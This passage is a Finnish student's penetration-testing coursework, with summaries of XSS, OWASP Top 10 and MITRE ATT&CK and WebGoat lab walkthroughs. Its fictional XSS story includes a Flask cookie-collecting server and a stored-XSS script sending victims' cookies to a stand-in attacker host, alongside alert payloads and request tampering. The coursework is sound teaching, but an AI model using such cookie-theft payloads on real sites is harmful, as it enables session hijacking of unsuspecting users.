h3: Attaaack!
Kurssisivu ja tehtävät: https://terokarvinen.com/2021/penetration-testing-course-2021-autumn/#h3-attaaack
Sisällysluettelo
- h3: Attaaack!
- Sisällysluettelo
- x) Lue/katso/kuuntele ja tiivistä
- € Percival & Samancioglu 2020: The Complete Ethical Hacking Course: Chapter 21: Cross Site Scripting
- OWASP 10 2017 PDF
- MITRE 2021: ATT&CK Enterprise Matrix - Tactic, Technique, Procedure
- Taktiikka: Tiedustelu (Reconnaissance)
- Taktiikka: Resurssien kokoaminen (Resource Development)
- Taktiikka: Sisäänpääsy (Initial Access)
- Taktiikka: Suorittaminen (Execution)
- Taktiikka: Säilyminen (Persistence)
- Taktiikka: Käyttöoikeuksien kasvattaminen (Privilege Escalation)
- Taktiikka: Piiloutuminen (Defense Evasion)
- Taktiikka: Tunnistetietojen käyttö (Credential Access)
- Taktiikka: Kartoittaminen (Discovery)
- Taktiikka: Ympäristössä liikkuminen (Lateral Movement)
- Taktiikka: Datan kerääminen (Collection)
- Taktiikka: Hallinta (Command and Control)
- Taktiikka: Datan varastaminen (Exfiltration)
- Taktiikka: Vaikuttaminen (Impact)
- z) Cross Site Story
- Tee ja raportoi: a) Vuohen uudet seikkailut
- Alkutoimet
- A2 Broken authentication:
- A3 Sensitive data exposure: Insecure Login: 2 Let’s try
- A7 Cross Site Scripting (XSS): 2 What is XSS?
- A7 Cross Site Scripting (XSS): 7 Try It! Reflected XSS
- A8:2013 Request Forgeries: Cross-Site Request Forgeries
- A8:2013 Request Forgeries: 3 “Basic Get CSRF Exercise”
- A8:2013 Request Forgeries: 4 “Post a review on someone else’s behalf”.*
- Tee ja raportoi: b) Attakin alatekniikat
x) Lue/katso/kuuntele ja tiivistä
Tässä alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen ja tiivistelmä riittää). Tiivistä ranskalaisilla viivoilla.
€ Percival & Samancioglu 2020: The Complete Ethical Hacking Course: Chapter 21: Cross Site Scripting
Chapter 21: Cross Site Scripting (7 videota, noin 25 min)
- XSS tarkoittaa Cross-Site Scriptingiä.
- XSS ei tarvitse erillistä ohjelmaa.
- Syöttää injektion palvelimelle joka ajetaan käyttäjäpäässä, uhrin selaimessa.
- Syöttökentässä voidaan lähettää skripti URL:ssa.
- Tarkoittaa että syöttökentässä käytetään GET methodia.
- Tämä häkätty URL voidaan sitten lähettää kenelle tahansa joka linkkiä klikatessaan ajaa URL:ssa olevan skriptin.
- Voidaan myös tallettaa skripti sivulle POST methodilla syöttökentän kautta jos sivu tallettaa tietoja.
- Kuka tahansa sivulle tulija automaattisesti ajaa skriptin.
- Elementin maxlength voi muokkaa dev toolseilla ja syöttää pidempiä skriptejä kuin lähdekoodi sallisi.
- Yhdistettynä muihin työkaluihin kuten BeEF (https://beefproject.com/) voi kerätä haavottuneita koneita talteen jatkohyökkäystä varten.
- Suojautumiseksi selaimen asetuksissa voi kytkeä yksittäisten sivujen JavaScriptin pois päältä. (Joku vertasi joskus verkkosivuja autoon ja JavaScriptiä rattiin, eli mistään universaalista hyvästä ratkaisusta ei ole kyse.)
OWASP 10 2017 PDF
A2 Broken Authentication, A3 Sensitive Data Exposure, A7 Cross Site Scripting. Poimi kustakin kolmesta hyökkäyksestä, miten ne käytännössä tehdään
A2 Broken Authentication
Hyökkääjillä hallussa miljoonia käyttäjätunnuksia ja salasanayhdistelmiä (https://owasp.org/www-community/attacks/Credential_stuffing), default ylläpitotililistoja, automatisoituja brute force- ja sanakirjahyökkäyksiä. Istunnonhallintahyökkäykset ja vanhentumattomat istuntotokenit hyökkääjillä hyvin tiedossa.
Hyökkäystapoja:
- Credential stuffing
- Listoja tunnettuja salasanoja yhdessä käyttäjätunnuksen kanssa syötetään palveluun
- Salasanojen käyttö ainoana tunnistustapana. Salasanojen kierrättäminen ongelma.
- Istunnon aikakatkaisu ei ole säädetty oikein. Uhri käyttää julkista konetta, kirjautuu palveluun ja sulkee selaimen uloskirjautuisen sijasta. Hyökkääjä käyttää myöhemmin samaa konetta ja istuntotokenia.
A3 Sensitive Data Exposure
Hyökkääjät varastavat avaimia tai selkotekstistä dataa, tekevät man-in-the-middle hyökkäyksiä. Aiemmin saadut salasanatietokannat voidaan brute forcettaa näytönohjaimilla.
Hyökkäystapoja:
- Applikaatio kryptaa luottokortin numerot kannassa, mutta automaattisesti purkaa kryptauksen niitä haettaessa. SQL-injektio hakee selkotekstiset luottokorttitiedot.
- Sivu ei varmista TLS:n käyttöä tai käyttää heikkoa kryptausta. Hyökkääjä tarkkailee verkkoliikennettä suojaamattomassa WLAN verkossa ja heikentää yhteydet https:stä http:hen. Hyökkääjä sieppaa verkkopyynnön ja käyttäjän istuntokeksin. Hyökkääjä käyttää keksiä varmennetun istunnon kaappaamiseen ja pääsee käyttäjän dataan.
- Salasanatietokanta käyttää yksinkertaisia tai suolaamattomia (https://en.wikipedia.org/wiki/Salt_(cryptography)) tiivisteitä. Latausvirhe mahdollistaa hyökkääjän ladata kannan. Suolaamattomat tiivisteet voidaan murtaa etukäteen lasketuilla tiivisteillä, rainbow tableilla. Yksinkertaisilla tai nopeilla tiivistefunktioilla muodostetut tiivisteet voidaan murtaa näytönohjaimilla vaikka ne olisi suolattu.
A7 Cross Site Scripting
Sisältää kolme tapaa jotka kohdistuvat yleensä uhrin selaimeen:
- Reflected XSS
- Validoimaton vihamielinen käyttäjäsyöteskripti syötetään osaksi sivun HTML:ää.
- Liittyy, lisälukemista: watering hole attack: https://en.wikipedia.org/wiki/Watering_hole_attack
- Stored XSS
- Validoimaton vihamielinen käyttäjäsyöteskripti tallentuu ohjelmistoon tai API:in.
- DOM XSS
- Dynaamisesti lisätty vihamielinen skripti.
Hyökkäys tehdään yleensä validoimattoman ja sanitarisoimattoman käyttäjäsyötteen kautta. Hyökkääjä syöttää syöttökentän kautta hyökkäyksen kohdeohjelmistoon skriptin, jonka uhri suorittaa selaimessaan ollessaan yhteydessä häkättyyn kohdeohjelmistoon.
MITRE 2021: ATT&CK Enterprise Matrix - Tactic, Technique, Procedure
Selitä tiivistelmässä käsitteet tactic, technique, procedure. Selitä kukin taktiikka (tactic) ja anna kustakin taktiikasta esimerkkitekniikka (technique tai subtechnique)
Kuten lounastauolla tuli jo tutuksi, taktiikat ovat yläkäsite, se mitä hyökääjä tavoittelee, tekniikat kuinka hyökkääjä sen tekee ja proseduuriesimerkit todellisia tapahtumia missä tekniikkaa on käytetty spesifillä tavalla. Proseduurit ovat tekniikoiden todellisia spesifejä sovelluksia.
- Taktiikat vastaavat kysymykseen “miksi”. Se on hyökkääjän tavoittelema taktinen tavoite kuten autentikoitu sisäänpääsy järjestelmään.
- Tekniikat vastaavat kysymykseen “kuinka”. Se kuvailee kuinka hyökkääjä saavuttaa taktisen tavoitteensa.
- Proseduurit ovat spesifejä toteutuksia tietystä tekniikasta tai alatekniikasta. Proseduurit on kategorisoitu niiden todellisten käyttötilanteiden pohjalta proseduuriesimerkit -kohtaan tekniikoissa.
Taktiikka: Tiedustelu (Reconnaissance)
Tiedusteluvaiheessa hyökkääjä kerää tietoa jatko-operaatioiden suunnittelemiseksi.
- Tekniikkana aktiivinen skannaus (Active Scanning T1595), jonka alatekniikoita ovat esimerkiksi jo käyttämämme ip-blokkien skannaus (Scanning IP Blocks T1595.001) ja haavoittuvuusskannaus (Vulnerability Scanning T1595.002). Myös tekniikka Gather Victim Host Information T1592 näyttää mielenkiintoiselta.
Taktiikka: Resurssien kokoaminen (Resource Development)
Resurssien kokoamisen aikana hyökkääjä kerää, kehittää, ostaa, varastaa, tms. muin keinoin haalii resursseja operaatioidensa tueksi.
- Tekniikkana infran hankinta (Acquire Infrastructure T1583) ja alatekniikkana esim. T1583.004 Server. Tätä alatekniikkaa käytettiin WebWolfia vaatineissa CSRF-harjoituksissa. WebWolf toimi hyökkääjän palvelimena.
Taktiikka: Sisäänpääsy (Initial Access)
Hyökkääjä pyrkii sisään kohdeverkkoon.
- Tekniikkana mm. tietojen kalastelu (Phishing T1566. Toistaiseksihan olemme luoneet hyökkääjää ja uhria varten oman kohdeverkon joten emme ole vielä harjoitelleet ulkopuolisiin verkkoihin tunkeutumista, vaikka jotain samoja tekniikoita niissä voidaan ehkä käyttää. Tämä on aika mielenkiintoinen taktiikka johon haluaisi perehtyä lisää. Esim. tekniikka T1078 ja todellisten tilien käyttö (Valid Accounts) on ehkä jo vastaantullut tekniikka. Mursin john the ripperillä ja sanakirjahyökkäyksellä esimerkkiä seuraten kaksi ssh-tiliä Metasploitablesta, ehkä sitä voi pitää myös todellisten tilien käyttönä.
Taktiikka: Suorittaminen (Execution)
Hyökkääjä pyrkii ajamaan vihamielistä koodia kohteen lokaaleissa tai etäjärjestelmissä.
- Tekniikkana esimerkiksi komento- ja skriptitulkkien (Command and Scripting Interpreter T1059) hyväksikäyttö. Tätäkin on mielestäni jo harjoiteltu DVWA:ssa, sinne injektoitiin syöttökentän kautta Unix Shell (.004) komentoja. Lisäksi WebGoatin XSS-harjoituksissa injektoitiin syöttökenttien kautta JavaScriptiä (.007) verkkokauppaan.
Taktiikka: Säilyminen (Persistence)
Hyökkääjä pyrkii pitämään jalansijansa kohdejärjestelmissä salasanavaihdoista, uudelleenkäynnistyksistä jne. huolimatta.
- Tekniikkana esimerkiksi tilien manipulointi (Account Manipulation T1098) ja alatekniikkana hyväksyttyjen ssh-avainten manipulointi (.004 SSH Authorized Keys). Olikohan tästä jo esimerkki, ainakin periaate on tuttu, mutta tämän voisi ottaa tehtäväksi b)-osuudessa muistin virkistämiseksi.
Taktiikka: Käyttöoikeuksien kasvattaminen (Privilege Escalation)
Hyökkääjä pyrkii kasvattamaan käyttöoikeuksiaan.
- Tekniikkana esimerkiksi käyttöoikeuksien kontrollointimekanismin hyväksikäyttö (Abuse Elevation Control Mechanism T1548), missä hyökkääjä pyrkii kiertämään käyttöoikeuksien kontrollointimekanismit. Monet taktiikan tekniikoista vaikuttavat hyvin edistyneiltä, tästä olisi mukava kuulla lisää, olemmeko ehkä jo käyttäneet jotakin tekniikkaa täältä?
Taktiikka: Piiloutuminen (Defense Evasion)
Hyökkääjä pyrkii piileskelemään kohdeverkossa tai -järjestelmissä.
- Ensimmäisenä tekniikkana hauskasti käyttöoikeuksien kasvattamisen kanssa sama tekniikka alatekniikoineen, kontrollointimekanismin hyväksikäyttö (Abuse Elevation Control Mechanism T1548). Näihin on pakko perehtyä lisää paremmalla ajalla.
Taktiikka: Tunnistetietojen käyttö (Credential Access)
Hyökkääjä pyrkii varastamaan salasanoja ja käyttäjänimiä.
- Tekniikkana mm. sellainen ehkä monille tuttu kuin Brute Force hyökkäys ja käyttäjän syötteen kaappaaminen. John the ripperillä teimme brute force hyökkäyksen ssh:ta vastaan. Hyökkäys käytti myös OS Credential Dumping tekniikka ja tarkemmin sen alatekniikkaa .008 /etc/passwd and /etc/shadow. Myös tällä viikolla tutuksi tullut tekniikka Network Sniffing löytyy täältä (Sensitive Data Exposure Webgoatissa). Tämän taktiikan alta löytyy paljon joko tutun kuuloista tai oloista materiaalia.
Taktiikka: Kartoittaminen (Discovery)
Hyökkääjä pyrkii hahmottamaan kohdeympäristöä suunnitellakseen jatko-operaatioita.
- Tekniikkana mm. tilien löytäminen (Account Discovery). Tämän alatekniikkaa Local Account käytettiin john the ripper sanakirjahyökkäyksen yhteydessä.
Taktiikka: Ympäristössä liikkuminen (Lateral Movement)
Hyökkääjä liikkuu ympäristössä saavuttaakseen tavoitteensa tai etua jatko-operaatioihin.
- Tekniikkana mm. etäpalvelut (Remote Services). Metasploitablea vastaan oli ilmeisesti useita etäpalveluja hyödyntäviä hyökkäyksiä. Viimeisimpänä tässä voi jälleen mainita alatekniikan SSH jota käytettiin jo useasti mainitussa john the ripper sanakirjahyökkäyksessä. Nyt se hyökkäys on tehtävä uudestaan ja dokumentoitava, on se jo mainittu niin monesti.
Taktiikka: Datan kerääminen (Collection)
Hyökkääjä kerää dataa tavoitteensa saavuttamiseksi.
- Tekniikkana mm. hyökkääjä välissä (Adversary-in-the-Middle) tekniikka, joka on vilahtanut jo aiempien taktiikoiden yhteydessä. Hyökkääjä sijoittaa itsensä kahden tai useamman verkkolaitteen väliin mahdollistaakseen jatkotoimet kuten Network Sniffing ja Transmitted Data Manipulation (näitä jatkotoimenpiteitä harjoiteltiin OWASP ZAP:n ja WebGoatin kanssa tämän viikon tehtävissä).
Taktiikka: Hallinta (Command and Control)
Hyökkääjä kommunikoi vaarantuneiden järjestelmien kanssa saavuttaakseen niiden hallinnan.
- Tekniikkana mm. välityspalvelin (Proxy T1090). Asensimme OWASP ZAP:n välityspalvelimeksi WebGoatia varten verkkoliikenteen datan manipuloimiseksi, joten olemme jo hieman tutustuneet tekniikaan.
Taktiikka: Datan varastaminen (Exfiltration)
Hyökkääjä pyrkii kotiuttamaan keräämänsä datan kohdejärjestelmästä. Exfil eli datan evakuointi. Termeistä huomaa että hakkeroinnilla (ja tietoturvalla) on vahvat konnotaatiot sotaleikkeihin (ja tiedusteluun/vakoiluun).
- Tekniikkana mm. automatisoidut datan siirrot (Automated Exfiltration) ja datan siirrot vaihtoehtoisten protokollien yli (Exfiltration Over Alternative Protocol). Myös kaikista vakoojaelokuvista tuttu fyysisen median käyttö ja datan siirto USB:llä kuuluu tähän taktiikkaan tekniikkana ja alatekniikkana.
Taktiikka: Vaikuttaminen (Impact)
Hyökkääjä pyrkii manipuloimaan, häiritsemään tai tuhoamaan kohdejärjestelmiä tai kohdedataa.
- Tekniikkana mm. liuta erilaisia palvelunestohyökkäyksiä (Endpoint Denial of Service T1499)
z) Cross Site Story
Kirjoita kuvitteellinen esimerkki XSS-hyökkäyksestä. Tee mahdollisimman yksinkertainen esimerkki. Voit vaikkapa ottaa haltuun weppisivun ylläpitäjän oikeudet viemällä keksin. Tässä alakohdassa ei tarvitse tehdä mitään tietokoneella, pelkkä tarina riittää. Tarkoituksena on ymmärtää XSS-hyökkäyksen kokonaisuus ennen sormiharjoituksia. Voi halutessasi myös piirtää itse kaavion / sarjakuvan.
Tarinan tausta
Traaginen postmoderni tarina Cross Site Story sijoittuu kaikille tuttuun miljööseen, Internettiin. Tarina on monelle tuttu, sillä se on OWASP TOP 10:ssä 2017 sijalla seitsemän ja vuonna 2019 tehdyn tutkimuksen mukaan yli 60% verkkosivuista oli XSS-hyökkäykselle alttiita.
Tarinassa on käytetty lähtökohtana tehtävänannon esimerkkiä verkkosivun ylläpitäjän keksin varastamisesta ja Laur Telliskiven blogipostausta aiheesta. Keksivaras kertoo palvelimelle tallennetusta, stored XSS-hyökkäyksen tyypistä (muita olivat DOM eli verkkosivulle dynaamisesti lisätty vihamielinen skripti ja reflected eli käyttäjän selaimessa tapahtuva XSS). Yksinkertaisempi heijasteinen (reflected) XSS-hyökkäys esimerkki voidaan kuvata näin aiemman tehtävän perusteella:
- Verkkosivu kysyy käyttäjän nimeä syöttökentässä.
- Verkkosivu lähettää käyttäjälle tervehdyksen nimen perusteella url:n parametrina http://sivu-url?name=nihti, selaimessa näkyy “Hello nihti”.
- Hyökkääjä syöttää XSS-hyökkäykselle alttiiseen verkkosivun syöttökenttään js-skriptin:
<script>alert("I hack you")</script>
- Hyökkääjä kopioi syntyneen url:n:
http://sivu-url?name=<script>alert("I+hack+you")<%2Fscript>#
ja lähettää sen pahaa-aavistamattomalle uhrille. Jos sivusto http://sivu-url on julkisessa verkossa kuka tahansa linkkiä seuraava altistuu skriptille ja tämä näytelmä pyörisi kaikissa linkkiä klikanneissa selaimissa.
Esityksen entiteetit
Näytelmässä ei ole kivoja rooleja jaossa, vaan tämä on varoittava esimerkkitarina.
- Keksivaras/hyökkääjä
- Keksivarasto/hyökkääjän palvelin
- Käyttäjä/uhri/selain
- XSS-hyökkäykselle altis verkkosivu/palvelin
Keksivaras
Tee selväksi ja erottele
Mitä hyökkääjä tekee
Mitä kohdehenkilö tekee
Mitä sivua / palvelinta kohdehenkilö surffailee
Mitä sivua / palvelinta kohdehenkilö surffailee
Missä JavaScriptit ajetaan
Miten keksi päätyy hyökkääjälle
Miten hyökkääjä hyödyntää keksiä?
Mitä hyökkääjä pääsee tekemään (mikä ei onnistuisi ilman hyökkäystä)?
Istunto- ja autentikointikeksit sisältävät tietoa käyttäjän sivukäynnistä (kuinka, milloin?) ja käyttäjästä itsestään (käyttäjänimi, salasana). Keksivarkaan ensimmäinen tehtävä on pystyttää oma varastettujen keksien varastona toimiva verkkopalvelin http://keksivarasto.com. Keksivaras käyttää Pythonin verkkopalvelin framework Flaskia.
- Hyökkääjä löytää verkosta XSS-hyökkäykselle haavoittuvan verkkosivun osoitteessa http://haavoittuvasivu.fi/
- Hyökkääjä perustaa keksivarastona toimivan palvelimen.
- Hyökkääjä kirjoittaa oman funktion keksien sieppaamiseksi:
# ... enemmän koodia
def keksi():
# Siepataan keksi ja kirjataan se keksit.txt tiedostoon
keksi = request.args.get('c')
f = open("keksit.txt","a")
f.write(keksi + ' ' + str(datetime.now()) + '\n')
f.close
# Ohjaa uhri takaisin haavoittuvalle sivulle
return redirect("http://haavoittuvasivu.fi/")
# ... lisää koodia
app.run(host = '0.0.0.0', port=5000) # 0.0.0.0 kuuntelee kaikkia julkisia IP:tä
- Hyökkääjä injektoi JavaScript-koodin XSS-hyökkäykselle alttiille haavoittuvasivu.fi:lle sivuston kommenttikentän syöttökentän kautta:
<script type="text/javascript">document.location="http://keksivarasto.com:5000/?c="+document.keksi;</script>
- Skripti tallentuu XSS-hyökkäykselle haavoittuvan sivun haavoittuvasivu.fi kommenttiosion lähdekoodiin.
- Injektoitu skripti ohjaa haavoittuvasivu.fi:n kommenttiosiolle tulevan käyttäjän keksivarasto.com sivulle ja sieppaa käyttäjän keksin document.keksi funktiolla.
- Käyttäjä kirjautuu haavoittuvasivu.fi:lle ja surffaa kommenttiosioon jolloin keksivaraston keksit.txt tiedostoon tallentuu uusi keksi.
- Keksivaras kirjautuu varastettua keksiä keksit.txt tiedostosta käyttäen haavoittuvasivu.fi:lle.
- Koska käyttäjä oli sivuston pääkäyttäjä, nyt keksivarkaalla on sivuston ylläpitäjän kaikki oikeudet. Hänellä on kaikki oikeudet lisätä, poistaa tai muokata sivustoa mielensä mukaan.
Tee ja raportoi: a) Vuohen uudet seikkailut
Ratkaise WebGoatista tehtävät
Alkutoimet
Joudun aloittamaan tehtävän uudella WebGoatin asennuksella koska lapsi meni pesuveden mukana kun poistin turhia koneita VB:stä viime kerran jälkeen. Aloitan importtaamalla Kali Linux VB:hen ja seuraamalla jälleen opettajan ohjeita: https://terokarvinen.com/2020/install-webgoat-web-pentest-practice-target/.
Vaihdetaan ensin kuitenkin näppäimistö Keyboard -> Layout -> Edit -> eng -> fi ja salasana:
passwd
sudo passwd
Sitten ajetaan update ja vaihdetaan rootiksi:
sudo apt-get update
sudo -i
Asennetaan Java ja UFW palomuuri
apt-get -y install openjdk-11-jre ufw
Laitetaan palomuuri päälle ja kielletään kaikki sisääntuleva liikenne
ufw enable
ufw default deny incoming
Asennetaan WebGoat jälleen Kalina
exit
Ladataan WG
wget https://github.com/WebGoat/WebGoat/releases/download/v8.0.0.M26/webgoat-server-8.0.0.M26.jar
Asennetaan WG
java -jar webgoat-server-8.0.0.M26.jar
Vika komento myös käynnistää WG:n, mennään selaimessa http://localhost:8080/WebGoat/ ja rekisteröidään uusi vuohi.
Proxy - ZAP
Tehtävässä tarvitaan todennäköisesti välityspalvelinta eli proxyä. Ensimmäisellä kerralla asensimme sen onnistuneesti WG:n omia ohjeita seuraamalla. Katsotaan millaista muuta ohjetta olisi tarjolla, sillä porttiasetukset jäivät viime kerralla hieman hämäriksi. Eli toisin kuin ekalla asennuksella kuvittelin, proxyn tulee nimenomaan olla omassa portissaan eikä pyöriä samassa portissa muiden ohjelmistojen kanssa - kuinka se olisi edes mahdollista? n00bin ajatuspieru ja l33tin facepalm tähän.
Aloitetaan orientoivalla videoilla: https://www.youtube.com/watch?v=ICPqz1Al9fk ja https://www.youtube.com/watch?v=TyhaA3DJ5oM
Firefoxin (Kalin oletusselain) proxy säädetään Preferences –> Proxy –> Settings –> Manual proxy. HTTP Proxy: localhost (edit: muutettu ip-muotoon: 127.0.0.1), Port: 8090. Raksitaan myös https/ftp yhteyksille WG:n ohjeiden mukaan. Lisäksi Firefoxin uudet versiot ( >=v.67 ) vaatii asetuksen network.proxy.allow_hijacking_localhost = true
, sinne pääsee selaimessa about:config
sivulta.
Koska proxyn manuaalinen päälle pistäminen ja poistaminen vaikutti työläältä viime kerralla asennetaan FoxyProxy selainlaajennus. Asennusta varten otin proxyn pois päältä. Myös FoxyProxy vaatii proxy-asetusten säätämisen: Add –> Proxy Type: “HTTP”, Proxy IP address or DNS name: “127.0.0.1”, Port: “8090” ja Save.
FoxyProxyn käyttö vaatii Firefox preferences –> Proxy –> Settings –> Manual proxyn vaihtamisen –> No proxy. Nyt FF asetusten sijasta selainlaajennus huolehtii proxyn päälle ja pois.
ZAP:ssa Tools –> Options –> Local Proxies. Localhost 8090.
Suodatetaan WebGoatin taustaliikenne pois ohjeiden mukaan: URL Inc Regex: http://localhost:8080/WebGoat/.*
Eli näytä ZAP:ssa kaikki localhostissa portissa 8080 /WebGoat/ polussa tapahtuva liikenne
ja suodata pois URL Exc Regex: .*/WebGoat/service/.*mvc
eli kaikki WebGoat/service liikenne missä tiedostopääte mvc.
Suodatus käyttää regexiä eli regular expressionsia joka on oma taiteenlajinsa jota ilman ei voi paljoa hakkerointia harrastaa. Aihe on entuudesta tuttu ja sitä on tullut tavattua jo vähän muttei tarpeeksi.
Viimein välityspalvelimen asetukset ovat valmiit! Sitten on opeteltava käyttämään OWASP ZAP:ia. WebGoat antaa vihjeitä kuinka tehtävä tulee ratkaista, mutta että ZAP:ssa saa valittua oikeat näkymät sen tekemiseksi?
A2 Broken authentication:
Authentication bypasses: 2 2FA Password Reset
Katsotaan ensin mitä ZAP tallentaa kun tehtävän lomakkeessa lähettää jotain tietoa. “Sites” osioon tulee auth-bypass -kansio ja sinne POST-methodina lähetetty verify-account() funktio. Sitä klikkaamalla avautuu POST-requestin header ja body. Bodyssa on meitä kiinnostava osuus: secQuestion0=ope&secQuestion1=jns&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746
. Eli tehtävänannon mukaisesti poistetaan secQuestion 0 ja 1.
1. ongelma. En ollut painanut ZAP:n vihreää pylpyrää ja nauhoitusta päälle, joten en voinut muokata requestin bodya. Painetaan pylpyrä päälle ja lähetetään verkkosivulta sama vastaus kyselyyn. Sitten takaisin ZAP:ssa “Submit and step next request or next response” nuolinäppäintä, joka on mallia: |>
Pari kertaa nuolta painamalla päästään POST requestiin ja sen bodyyn secQuestion0=ope&secQuestion1=jns&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746
. Poistetaan turvakysymykset vastauksineen kuten ohjeistettu ja jätetään jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746
. Painetaan nuolta seuraavaan vaiheeseen. Tulee HTTP OK jossa body lessonCompleted false ja WG näyttää myös ettei mennyt läpi. Klikkaillaan kuitenkin pari kertaa vielä eteenpäin ja sitten painetaan toista nuolta > joka lopettaa ilmeisesti nauhoituksen koska pylpyrä muuttuu jälleen vihreäksi. Nauhoituksen ollessa päällä se on punainen.
Hmm. Näen nyt kuitenkin uuden POST-requestin, sen mitä juuri muokkasin. Pistetään jälleen nauhoitus päälle pylpyrästä ja klikataan pari kertaa steppiä eteenpäin |> nuolesta. Ei sen suurempaa onnea. Eli mielestäni minun pitäisi lähettää tämä requesti sivulle. Ehkä pitää valita modattu request sivuvalikosta ja painaa request? Kokeilin pari kertaa request-painiketta. Painetaan sitten nauhoitus päälle ja toistetaan sama modatun POST-requestin ollessa valittuna sivuvalikossa. Nyt steppi eteenpäin painamalla näkyy että “complete”: true. WG:n sivu pysyy vielä samana mutta en ole refressannut sitä. Painetaan pari kertaa steppiä eteenpäin ja nähdään että “solved”: false. Ja sama näkyy myös jos klikataan request välilehdeltä response välilehdelle.
Jostakin syystä WG on muuttunat urlissa http:n https:ksi ja se on varmasti liian edistynyttä tähän vaiheeseen. Lisäksi WG ei päivitä sivua enää, se vaikuttaa jäätyneeltä. Poistetaan ZAP:sta Sites-kansiot ja käynnistetään WG uudestaan, yritetään tehtävää alusta.
2. yritys. Varmistetaan että WG Katsotaan tässä vaiheessa joku ohje. Ymmärrän siis perusidean, mutta en ymmärrä kuinka ZAP:ia käytetään, kuinka saan lähetettyä oman muokatun POST-requestini. Käynnistetään WG terminaalissa java -jar webgoat-server-8.0.0.M26.jar
ja ZAP on päällä. WG ei tunnu aukeavan. Pistetään ZAP:sta nauhoitus pois päältä ja kokeillaan urlia /WebGoat/ /WebGoat/login sijasta. Nyt taas tuntuu toimivan. Jostain syystä WG pakottaa https:n päälle.
Katsotaan esimerkin ratkaisu niin teknisesti kelvottomalta YouTube-videolta että en sitä kenenkään riesaksi halua edes linkittää. Eli ainakin secquestioneja muokkaamalla tehtävän saa läpi secQuestion00=ensin+perusteet&secQuestion01=sitten+soveltaminen%2C+plz&jsEnabled=1&verifyMethod=SEC_QUESTIONS&userId=12309746
. Sitten muokkauksen jälkeen painettiin > nuolta, mutta mielestäni |> nuolen renkuttaminen ajaa saman asian, se on vaan hitaampaa. Kokeillaan vielä toimiiko kysymysten ja verifyMethodin poistaminen kokonaan. Ei toimi, responsessa lukee:
"status" : 400,
"error" : "Bad Request",
"message" : "Required String parameter 'verifyMethod' is not present",
No olipas nyt vähän turhan kikkaileva aloitus ZAP:iin tutustumiseen, kun koko ohjelmiston käyttäminen on vierasta. Mutta tosiaan turvakysymyksiä ei voi kokonaan poistaa toisin kuin tehtävä ohjeistaa, vaan niitä on vain modifioitava. Huoh. Tämä olisi pitänyt oivaltaa responsesta selvästi, ja aiemmista esimerkeistä.
A3 Sensitive data exposure: Insecure Login: 2 Let’s try
Tässä tehtävässä tarvitaan packet snifferiä. Tiedän että WireShark on sellainen (jota en ole koskaan opetellut käyttämään), mutta en tiedä ajaako ZAP saman asian. Toisaalta huomasin jo ensimmäisen viikon tehtävissä että ZAP kaappasi käyttäjätunnuksen ja salasanani kirjautuessani WG:hen. Haen asialle harharetkien välttämiseksi verkosta, kyllä ZAP:n pitäisi riittää. Laitetaan nauhoitus päälle ja syötetään joku käyttäjätunnus ja salasana syöttökenttään. Klikkaillaan yksi steppi kerrallaan eteenpäin uutta GET:InsecureLogin.lesson.lessonia Sites-sivuvalikossa, joka ilmestyy sinne kun syötän sivulle tunnistetiedot ja klikkaan sumbit ja login. Parin klikin päässä on Break jonka body on {"username":"CaptainJack","password":"BlackPearl"}
. Nämä eivät ole minun syöttämäni arvot, joten näiden täytyy olla oikeat arvot. Kokeillaan niitä tehtävään. Painetaan ensin play > että sivun käyttö jälleen mahdollistuu. Syötetään kaapatut arvot syöttökenttiin ja voilà, läpi menee.
Eli kaappasimme ZAP:lla POST requestin. Miksi väärät tunnistetiedot syöttämällä sivu tarjoaa todellisia tunnistetietoja jää hämäräksi. En ymmärrä tehtävän logiikkaa. Tiedostan myöskin että WireSharkin harjoittelun viivästyttäminen tulee puremaan minua takapuoleen vielä jossakin vaiheessa kurssia.
A7 Cross Site Scripting (XSS): 2 What is XSS?
Avataan ohjeen mukaisesti toinen välilehti WG:hen. Kopioidaan javascript:alert(document.cookie);
ja syötetään urliin. Kokeillaan “xss test” document.cookien sijasta. Otetaan proxy pois päältä. Ei vastauksia. Jahas WG oli ollut sen aikaa pois käytöstä että se oli jäätynyt. Silti sama radiohiljaisuus.
Kokeillaan consolessa tämän stackexchange.comin ohjeen pohjalta: alert(document.cookie);
ja saadaan vastaus jossa mm. istunnon id: JSESSIONID=I3TwzmS474ttSPeY25sJH_EnPRxi3IJr6GNXANV0;
Kyseisellä cookiella on on header HttpOnly: false kuten ilmeisesti edellytys onkin. Eli cookie JSESSIONID:n tarkastaminen ja “yes” riitti vastaukseksi, vaikka hämäräksihän ongelma vielä jäikin. Eli WebGoat tunnistaa minut samaksi henkilöksi molemmissa välilehdissä cookien ansiosta. Jos joku kaappaisi keksin ja käyttäisi sitä, voisi operoida minun tunnistetiedoilla WG:ssä.
Eli js-skriptit toimivat consolessa ajaessa, mutta suoraan urlissa Kalin oletusselaimella eivät.
En tiedä onko kyse selaimien uusista asetuksista, toivottavasti tehtävien läpikäynti tuo tähän vastauksenm jatkogooglettelu ei tuo vastausta nopeasti ja tehtäviä vielä riittää…: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection.
A7 Cross Site Scripting (XSS): 7 Try It! Reflected XSS
Eli tehtävässä on ostoskori ja syöttökentät luottokorttinumero ja access code. Developer toolsien Storage välilehdeltä löytyy cookie access_token. Sen voisi printata Console välilehden alert(document.cookie)
komennolla. Sen arvo on kuitenkin tyhjä. Hmm. Sitten kokeillaan <script>alert("injektoitavissa")</script>
molempiin syöttökenttiin. Huomataan ilmoitus:
“Seems like you tried to compromise our shop with an reflected XSS attack.
We do our… “best”… to prevent such attacks. Try again!”
Eli nyt ollaan lähellä. Ymmärretään poistaa alemmassa syöttökentässä oleva scripti ja laitetaan siihen joku oikea arvo 111, ja sitten ylemmän syöttökentän scripti menee läpi. Eli kuten injektioissa XSS hyökkäyksissä käyttäjäsyötteet mahdollistivat hyökkäyksen.
XSS harjoituksia jää WG:ssä vielä kolme syssymmälle, mutta tämä tehtävä jonka onnistuin kerrankin suorittamaan ilman ulkopuolisia ohjeita oli tällä haavaa tässä.
A8:2013 Request Forgeries: Cross-Site Request Forgeries
Hämmentyneen apulaisen hyökkäys. CSRF on “Confused Deputy” hyökkäys ja tunnetaan nimillä one-click attack ja session riding, ja vielä lisäksi joskus äännetään “sea-surf”. Sen ominaispiirteet ovat:
